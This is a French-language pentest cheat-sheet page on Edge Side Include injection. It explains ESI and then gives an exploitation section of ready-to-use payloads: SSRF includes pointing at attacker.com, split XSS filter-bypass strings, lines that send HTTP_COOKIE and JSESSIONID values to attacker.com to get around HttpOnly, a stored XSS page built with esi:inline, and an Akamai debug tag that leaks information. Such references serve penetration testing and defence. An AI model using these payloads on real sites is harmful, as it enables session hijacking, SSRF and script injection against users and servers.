🍻ESI

Edge Side Include

Description

Le langage ESI est basé sur un ensemble de balises XML et est utilisé dans de nombreuses solutions de substitution HTTP populaires pour résoudre les problèmes de performances en permettant une mise en cache importante du contenu Web. Les balises ESI sont utilisées pour demander à un reverse proxy (ou à un serveur de mise en cache) de récupérer plus d'informations sur une page Web pour laquelle un modèle est déjà mis en cache. Ces informations peuvent provenir d'un autre serveur avant de les servir au client. Cela permet aux pages entièrement mises en cache d'inclure du contenu dynamique.

Les quatre fonctions principales de ESI sont :

  • inclusion de fragments de pages ;

  • variables pouvant provenir de cookies ou de headers HTTP, puis affichées ou utilisées dans des expressions ESI ;

  • conditions pour que le balisage tire parti des variables (exemple : selon la valeur d'un cookie) ;

  • gestion d'erreur, pour qu'un basculement puisse avoir lieu en cas de panne d'un serveur nominal.

Exemple d'utilisation:

<body>
  <b>The Weather Website</b>
  Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]

Solutions acceptant les balises ESI (Quand elles sont activées)

  • Varnish

  • Squid Proxy

  • IBM WebSphere

  • Oracle Fusion/WebLogic

  • Akamai

  • Fastly, F5

  • Node.js ESI

  • LiteSpeed

  • ​certains langages spécifiques plugins...

Exploitation

SSRF

Si un attaquant peut ajouter une balise d'inclusion ESI à la réponse HTTP, il peut effectivement effectuer des attaques SSRF dans le contexte du serveur de substitution (et non du serveur d'application).

<esi:include src="https://attacker.com/ping" />

Contournement de filtre anti-XSS côté serveur

les protections XSS de Chrome ne connaissent pas les balises ESI, car elles n'ont jamais été conçues pour être traitées côté client. Il est possible d'affecter des parties d'une charge utile XSS à des variables dans le moteur ESI, puis de les réimprimer. Le moteur ESI créera la charge utile Javascript malveillante côté serveur avant de l'envoyer intégralement au navigateur. Cela contournera le filtre XSS puisque l'entrée envoyée au serveur n'est pas renvoyée telle quelle au navigateur.

Exemples de charges utiles:

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
"+onmou<!--esi-->seover=ale<!--esi-->rt(1)+ab="

Contournement de flag HttpOnly

Contrairement au Javascript traité côté client, ESI est traité côté serveur (source vers destination), il est donc possible de capturer les cookies par ce biais avec une charge utile telle que:

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

Création d'une page html

Le fragement <esi:inline> est une balise qui définit le contenu enregistré dans le cache. Le contenu sera ensuite disponible et associé au chemin défini dans le "name". Un attribut facultatif nommé "fetchable" définit si la ressource sera disponible pour un utilisateur externe (true) ou uniquement disponible pour ESI (false). Un nombre limité de fournisseurs prennent en charge esi:inline.

Apache Traffic Server, Squid et Varnish ne prennent pas en charge cette instruction, même si elle fait partie de la spécification ESI. Cependant, il est implémenté dans la solution de mise en cache comme dans Oracle Web Cache 11g.

Charge utile:

<esi:inline name="/attack.html" fetchable="yes">
<script>prompt(document.domain)</script>
</esi:inline>

Fuite d'informations technique

Akamai possède une fonction debug permettant d'afficher les informations de debug dans la réponse.

<esi:debug/>

Implémentation de l'ESI par fabricant

Dernière mise à jour